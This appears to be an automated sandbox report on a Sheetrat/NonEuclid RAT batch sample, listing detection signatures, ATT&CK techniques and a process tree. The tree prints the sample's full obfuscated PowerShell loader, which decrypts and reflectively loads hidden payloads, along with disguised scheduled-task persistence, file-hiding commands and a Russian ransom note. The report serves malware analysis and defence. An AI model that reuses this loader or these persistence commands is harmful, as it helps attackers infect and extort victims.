Overview

overview

10

Static

static

1

sdfghgfds.bat

windows10-2004-x64

10

sdfghgfds.bat

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    599s
  • max time network
    425s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/11/2026, 12:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sdfghgfds.bat
  • Size 521KB
  • Sample261102-ph3dcsbz3n
  • SHA256 04ee08ff134824988147e5794da3adc9f7c981894f68305870948dfc49f4a321
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionsheetratpersistenceprivilege_escalationransomwaretrojan

Malware Config

Signatures

  • Family: Sheetrat, NonEuclid rat

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

    trojansheetrat
  • Detects Sheetrat obfuscated V1.8 and higher 1 IoCs

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • Detects Sheetrat obfuscated version 1 IoCs
  • Modifies WinLogon for persistence 2 TTPs 3 IoCs
    persistence
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Start PowerShell.

    execution
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

    persistenceprivilege_escalation
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 48 IoCs
  • Adds Run key to start application 2 TTPs 13 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
    defense_evasion
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 21 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 58 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 14 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 56 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 12 IoCs
    defense_evasion

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sdfghgfds.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6092
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4312
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9mne1QtWIj00jSbx11NP/gKc2OLVGTf8kdfCHeOjsK4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/VeJtnKycDXF2Si0OkfkYw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpABZ=New-Object System.IO.MemoryStream(,$param_var); $ZTxje=New-Object System.IO.MemoryStream; $YkiVn=New-Object System.IO.Compression.GZipStream($fpABZ, [IO.Compression.CompressionMode]::Decompress); $YkiVn.CopyTo($ZTxje); $YkiVn.Dispose(); $fpABZ.Dispose(); $ZTxje.Dispose(); $ZTxje.ToArray();}function execute_function($param_var,$param2_var){ $LgkMV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ucJOF=$LgkMV.EntryPoint; $ucJOF.Invoke($null, $param2_var);}$EEdPs = 'C:\Users\Admin\AppData\Local\Temp\sdfghgfds.bat';$host.UI.RawUI.WindowTitle = $EEdPs;$GBsER=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EEdPs).Split([Environment]::NewLine);foreach ($gfwut in $GBsER) { if ($gfwut.StartsWith(':: ')) { $Yctvu=$gfwut.Substring(3); break; }}$payloads_var=[string[]]$Yctvu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5184
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_972_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_972.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2908
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_972.vbs"
          3⤵
          • Checks computer location settings
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:5876
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_972.bat" "
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:936
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3272
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:3288
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9mne1QtWIj00jSbx11NP/gKc2OLVGTf8kdfCHeOjsK4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/VeJtnKycDXF2Si0OkfkYw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpABZ=New-Object System.IO.MemoryStream(,$param_var); $ZTxje=New-Object System.IO.MemoryStream; $YkiVn=New-Object System.IO.Compression.GZipStream($fpABZ, [IO.Compression.CompressionMode]::Decompress); $YkiVn.CopyTo($ZTxje); $YkiVn.Dispose(); $fpABZ.Dispose(); $ZTxje.Dispose(); $ZTxje.ToArray();}function execute_function($param_var,$param2_var){ $LgkMV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ucJOF=$LgkMV.EntryPoint; $ucJOF.Invoke($null, $param2_var);}$EEdPs = 'C:\Users\Admin\AppData\Roaming\startup_str_972.bat';$host.UI.RawUI.WindowTitle = $EEdPs;$GBsER=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EEdPs).Split([Environment]::NewLine);foreach ($gfwut in $GBsER) { if ($gfwut.StartsWith(':: ')) { $Yctvu=$gfwut.Substring(3); break; }}$payloads_var=[string[]]$Yctvu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Modifies WinLogon for persistence
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:5848
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "IntelliJ IDEA Host" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4196
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "IntelliJ IDEA Host" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe"
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4928
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4540
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4848
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Word" /tr "C:\Users\Admin\AppData\Local\xdwdOBS Studio.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4192
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Word" /tr "C:\Users\Admin\AppData\Local\xdwdOBS Studio.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5256
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2572
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4212
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3332
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5532
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:6096
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:644
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2740
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5792
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2500
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1080
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:6084
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2412
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3476
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5480
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:944
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4564
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe"' & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4544
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe"'
                    7⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:3132
                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
                      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe"
                      8⤵
                      • Modifies WinLogon for persistence
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Adds Run key to start application
                      • Reads the TCP/IP host and domain name from the registry
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:5632
                      • C:\Windows\SYSTEM32\cmd.exe
                        cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] вас взломали мы откуп писать в тг или пока!!! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                        9⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:2164
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s +r +i /D
                          10⤵
                          • Views/modifies file attributes
                          PID:2684
                        • C:\Windows\system32\attrib.exe
                          attrib -h +s +r info-Locker.txt
                          10⤵
                          • Views/modifies file attributes
                          PID:2852
                      • C:\Windows\SYSTEM32\cmd.exe
                        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] вас взломали мы откуп писать в тг или пока!!! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                        9⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:5324
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s +r +i /D
                          10⤵
                          • Views/modifies file attributes
                          PID:5400
                        • C:\Windows\system32\attrib.exe
                          attrib -h +s +r info-Locker.txt
                          10⤵
                          • Views/modifies file attributes
                          PID:656
                      • C:\Windows\SYSTEM32\cmd.exe
                        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] вас взломали мы откуп писать в тг или пока!!! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                        9⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:1324
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s +r +i /D
                          10⤵
                          • Views/modifies file attributes
                          PID:1444
                        • C:\Windows\system32\attrib.exe
                          attrib -h +s +r info-Locker.txt
                          10⤵
                          • Views/modifies file attributes
                          PID:3484
                      • C:\Windows\SYSTEM32\cmd.exe
                        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] вас взломали мы откуп писать в тг или пока!!! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                        9⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:4880
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s +r +i /D
                          10⤵
                          • Views/modifies file attributes
                          PID:2884
                        • C:\Windows\system32\attrib.exe
                          attrib -h +s +r info-Locker.txt
                          10⤵
                          • Views/modifies file attributes
                          PID:60
                      • C:\Windows\SYSTEM32\cmd.exe
                        cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] вас взломали мы откуп писать в тг или пока!!! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                        9⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:1348
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s +r +i /D
                          10⤵
                          • Views/modifies file attributes
                          PID:6076
                        • C:\Windows\system32\attrib.exe
                          attrib -h +s +r info-Locker.txt
                          10⤵
                          • Views/modifies file attributes
                          PID:3164
                      • C:\Windows\SYSTEM32\cmd.exe
                        cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] вас взломали мы откуп писать в тг или пока!!! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                        9⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:5380
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s +r +i /D
                          10⤵
                          • Views/modifies file attributes
                          PID:5424
                        • C:\Windows\system32\attrib.exe
                          attrib -h +s +r info-Locker.txt
                          10⤵
                          • Views/modifies file attributes
                          PID:1916
                      • C:\Windows\SYSTEM32\taskkill.exe
                        taskkill.exe /im Explorer.exe /f
                        9⤵
                        • Loads dropped DLL
                        • Kills process with taskkill
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4928
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3176
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:696
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3808
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5336
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3828
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2156
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtASks /deLeTe /F /Tn "IntelliJ IDEA Host" & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1540
                  • C:\Windows\system32\schtasks.exe
                    schtASks /deLeTe /F /Tn "IntelliJ IDEA Host"
                    7⤵
                      PID:4092
                  • C:\Windows\SYSTEM32\CMD.exe
                    "CMD" /C taskkill /im explorer.exe /f
                    6⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:5792
                    • C:\Windows\system32\taskkill.exe
                      taskkill /im explorer.exe /f
                      7⤵
                      • Kills process with taskkill
                      PID:3596
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtASks /deLeTe /F /Tn "Microsoft Word" & exit
                    6⤵
                    • Executes a command shell one-liner
                    PID:3028
                    • C:\Windows\system32\schtasks.exe
                      schtASks /deLeTe /F /Tn "Microsoft Word"
                      7⤵
                        PID:1532
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDF5A.tmp.bat""
                      6⤵
                      • Executes a command shell one-liner
                      PID:5400
                      • C:\Windows\system32\timeout.exe
                        timeout 5
                        7⤵
                        • Delays execution with timeout.exe
                        PID:876
                      • C:\Windows\explorer.exe
                        explorer.exe
                        7⤵
                        • Boot or Logon Autostart Execution: Active Setup
                        • Enumerates connected drives
                        • Checks SCSI registry key(s)
                        • Modifies registry class
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        • Suspicious use of SetWindowsHookEx
                        PID:5668
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe" --init
                          8⤵
                          • Executes dropped EXE
                          PID:4036
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe" /setup
                          8⤵
                          • Executes dropped EXE
                          PID:4764
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe" --wininit
                          8⤵
                          • Executes dropped EXE
                          PID:3840
                      • C:\Windows\system32\taskkill.exe
                        taskkill /im xdwdJira Update.exe /f
                        7⤵
                        • Kills process with taskkill
                        PID:3528
                      • C:\Windows\system32\timeout.exe
                        timeout 3
                        7⤵
                        • Delays execution with timeout.exe
                        PID:3612
          • C:\Windows\system32\wbem\WmiApSrv.exe
            C:\Windows\system32\wbem\WmiApSrv.exe
            1⤵
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:3724
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe"
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:5660
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe" --wininit
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:3832
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe" -startup
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:5020
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe" --init
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:5908
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe" /setup
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:2556
          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
            1⤵
            • Suspicious use of SetWindowsHookEx
            PID:1716
          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
            1⤵
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:2492

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                3
                T1059

                PowerShell

                1
                T1059.001

                Visual Basic

                1
                T1059.005

                Windows Command Shell

                1
                T1059.003

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Persistence

                Boot or Logon Autostart Execution

                3
                T1547

